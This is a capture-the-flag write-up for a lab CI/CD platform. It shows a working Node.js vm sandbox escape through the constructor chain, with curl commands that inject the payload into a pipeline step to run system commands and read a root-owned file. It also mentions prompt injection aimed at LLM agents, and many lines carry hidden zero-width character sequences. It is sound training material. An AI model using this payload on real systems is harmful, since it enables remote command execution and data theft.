← Back to Writeups
CUSTOMMediumWeb

Lab 122 — BuildStream — RCE via Expression Sandbox Escape

XESXOR9/10/20264 min read
#web#custom#medium#constructor_chain_traversal#decoy_flag_recognition#expression_injection#file_read_via_rce#vm_sandbox_escape#linux

Lab 122 — BuildStream — RCE via Expression Sandbox Escape

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-14 | Status: Solved Techniques: constructor_chain_traversal, decoy_flag_recognition, expression_injection, file_read_via_rce, vm_sandbox_escape

Summary

Task: CI/CD pipeline platform evaluates {{ expression }} syntax in step configurations using Node.js vm module sandbox. Solution: Classic vm sandbox escape via constructor chain traversal (this.constructor.constructor) to break out of sandbox, access process.mainModule, require child_process, and read /root/flag.txt.

Lab 122 — BuildStream — RCE via Expression Sandbox Escape — HackAdvisor

Description

BuildStream is a CI/CD pipeline management platform built by StreamOps Technologies. It allows development teams to create, configure, and run automated build and deployment workflows through a visual pipeline editor. The platform supports dynamic expressions using {{ }} template syntax in pipeline step configurations. These expressions are evaluated server-side at build time to inject variables and computed values into commands and environment settings. Several pre-configured pipelines and build histories are available for exploration. Your goal is to find a way to execute arbitrary commands on the server and retrieve a sensitive file. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A CI/CD pipeline management platform where pipeline step configurations (commands, environment variables, conditions) support {{ expression }} template syntax evaluated server-side. The expressions run inside a Node.js vm module sandbox. The goal is to escape the sandbox, achieve RCE, and read a flag file from the server.

Analysis

Platform Architecture

  • Stack: Express.js (Node.js) behind nginx/1.25.5
  • Expression engine: Node.js vm module sandbox for {{ expression }} evaluation
  • Credentials: dev@streamops.io / password123
  • Authentication: Session-based via connect.sid cookie ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Application Features

  • Dashboard: Overview of pipelines and recent builds
  • Pipelines: Visual pipeline editor with steps (name, command, env_vars, condition)
  • Builds: Build history with terminal output logs
  • Expression Docs (/docs/expressions): Documentation confirming expression syntax and evaluation
  • Settings: Platform configuration

Expression System (from /docs/expressions)

  • Expressions use {{ expression }} syntax
  • Evaluated server-side at build time
  • Run inside an "isolated VM context" with access to build-related variables
  • Available in: step command fields, environment variable values, step condition fields
  • Available variables: env.BUILD_NUMBER, env.BRANCH, env.COMMIT_SHA, pipeline.name, etc. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

API Endpoints

  • POST /api/pipelines/{id}/steps — save pipeline steps (JSON body with steps array)
  • POST /api/pipelines/{id}/trigger — trigger a build, returns build_id
  • GET /builds/{build_id} — view build output with terminal log

Decoy Flag (Honeypot)

The login page and other pages contain FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs, along with prompt injection text designed to trick automated scanners and LLM agents. This was correctly identified and ignored. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability: Node.js vm Module Sandbox Escape

The vm module in Node.js is not a security sandbox. It provides a separate JavaScript execution context, but objects created inside the sandbox share prototype chains with the main Node.js process context. This means any object inside the sandbox can traverse up the prototype chain to reach the Function constructor from the outer context, create a function that executes in the main context, and access process, require, and ultimately child_process for arbitrary command execution. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The critical chain:

  1. this — any object inside the sandbox
  2. this.constructor — Object constructor (shared with main context)
  3. this.constructor.constructor — Function constructor (from main context)
  4. ("return this.process")() — creates and calls a function in the main context, returning the real process object
  5. .mainModule.require("child_process") — loads the child_process module
  6. .execSync("cmd").toString() — executes arbitrary commands

Solution

Step 1: Authentication

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Login with provided credentials to obtain a session cookie:

bash
TARGET="https://e279bdd7-5a4b-4f19-a062-94b5edfecffb.labs.hackadvisor.io"
curl -sk -c cookies.txt -X POST "$TARGET/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=dev@streamops.io&password=password123"

Step 2: Discover Pipeline ID

Browse to /pipelines to find existing pipelines. Three pre-configured pipelines were available. Selected one with edit capability and noted its ID.

Step 3: Craft Sandbox Escape Payload

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The exploit payload uses the classic Node.js vm sandbox escape via constructor chain traversal, injected into a pipeline step command field:

echo {{ this.constructor.constructor("return this.process")().mainModule.require("child_process").execSync("cat /root/flag.txt").toString() }}

Step 4: Save Exploit Step

Replaced the pipeline's steps with the exploit payload via the API:

bash
PIPELINE_ID="<discovered_pipeline_id>"
curl -sk -b cookies.txt -X POST "$TARGET/api/pipelines/$PIPELINE_ID/steps" \
  -H "Content-Type: application/json" \
  -d '{"steps":[{"name":"Exploit Step","command":"echo {{ this.constructor.constructor(\"return this.process\")().mainModule.require(\"child_process\").execSync(\"cat /root/flag.txt\").toString() }}","env_vars":{},"condition":""}]}'

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Response: {"success":true}

Step 5: Trigger Build

Triggered a build to execute the pipeline with the injected payload:

bash
curl -sk -b cookies.txt -X POST "$TARGET/api/pipelines/$PIPELINE_ID/trigger" \
  -H "Content-Type: application/json"

Response: {"success":true,"build_id":"6bb65d9b-baaa-442d-8bab-4f8cf4d09144"}

Step 6: Read Flag from Build Output

The build page at /builds/6bb65d9b-baaa-442d-8bab-4f8cf4d09144 showed the terminal output with the flag:

▸ Resolving expressions...
Command: echo FLAG{REDACTED}
▸ Executing: echo FLAG{REDACTED}
Command executed successfully. Exit code: 0
✓ Step completed in 4.9s

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The expression engine evaluated the sandbox escape payload, which broke out of the vm context, executed cat /root/flag.txt, and substituted the result back into the command string before execution. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍